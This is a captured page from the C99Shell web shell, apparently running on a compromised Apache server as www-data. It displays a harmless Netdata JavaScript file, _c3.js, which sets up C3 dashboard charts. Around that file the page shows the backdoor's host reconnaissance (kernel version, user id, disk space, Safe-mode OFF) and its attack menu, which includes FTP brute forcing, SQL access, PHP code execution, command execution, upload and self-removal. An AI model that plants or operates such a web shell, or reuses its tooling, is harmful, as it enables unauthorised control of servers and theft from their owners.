!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/netdata/web/gui/src/dashboard.js/charting/   drwxr-xr-x
Free 13.06 GB of 57.97 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     _c3.js (2.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// DEPRECATED: will be removed!

// c3

NETDATA.c3Initialize = function(callback) {
    if (typeof netdataNoC3 === 'undefined' || !netdataNoC3) {

        // C3 requires D3
        if (!NETDATA.chartLibraries.d3.initialized) {
            if (NETDATA.chartLibraries.d3.enabled) {
                NETDATA.d3Initialize(function() {
                    NETDATA.c3Initialize(callback);
                });
            } else {
                NETDATA.chartLibraries.c3.enabled = false;
                if (typeof callback === "function")
                    return callback();
            }
        } else {
            NETDATA._loadCSS(NETDATA.c3_css);

            $.ajax({
                url: NETDATA.c3_js,
                cache: true,
                dataType: "script",
                xhrFields: { withCredentials: true } // required for the cookie
            })
            .done(function() {
                NETDATA.registerChartLibrary('c3', NETDATA.c3_js);
            })
            .fail(function() {
                NETDATA.chartLibraries.c3.enabled = false;
                NETDATA.error(100, NETDATA.c3_js);
            })
            .always(function() {
                if (typeof callback === "function")
                    return callback();
            });
        }
    } else {
        NETDATA.chartLibraries.c3.enabled = false;
        if (typeof callback === "function")
            return callback();
    }
};

NETDATA.c3ChartUpdate = function(state, data) {
    state.c3_instance.destroy();
    return NETDATA.c3ChartCreate(state, data);

    //state.c3_instance.load({
    //  rows: data.result,
    //  unload: true
    //});

    //return true;
};

NETDATA.c3ChartCreate = function(state, data) {

    state.element_chart.id = 'c3-' + state.uuid;
    // console.log('id = ' + state.element_chart.id);

    state.c3_instance = c3.generate({
        bindto: '#' + state.element_chart.id,
        size: {
            width: state.chartWidth(),
            height: state.chartHeight()
        },
        color: {
            pattern: state.chartColors()
        },
        data: {
            x: 'time',
            rows: data.result,
            type: (state.chart.chart_type === 'line')?'spline':'area-spline'
        },
        axis: {
            x: {
                type: 'timeseries',
                tick: {
                    format: function(x) {
                        return NETDATA.dateTime.xAxisTimeString(x);
                    }
                }
            }
        },
        grid: {
            x: {
                show: true
            },
            y: {
                show: true
            }
        },
        point: {
            show: false
        },
        line: {
            connectNull: false
        },
        transition: {
            duration: 0
        },
        interaction: {
            enabled: true
        }
    });

    // console.log(state.c3_instance);

    return true;
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0398 ]--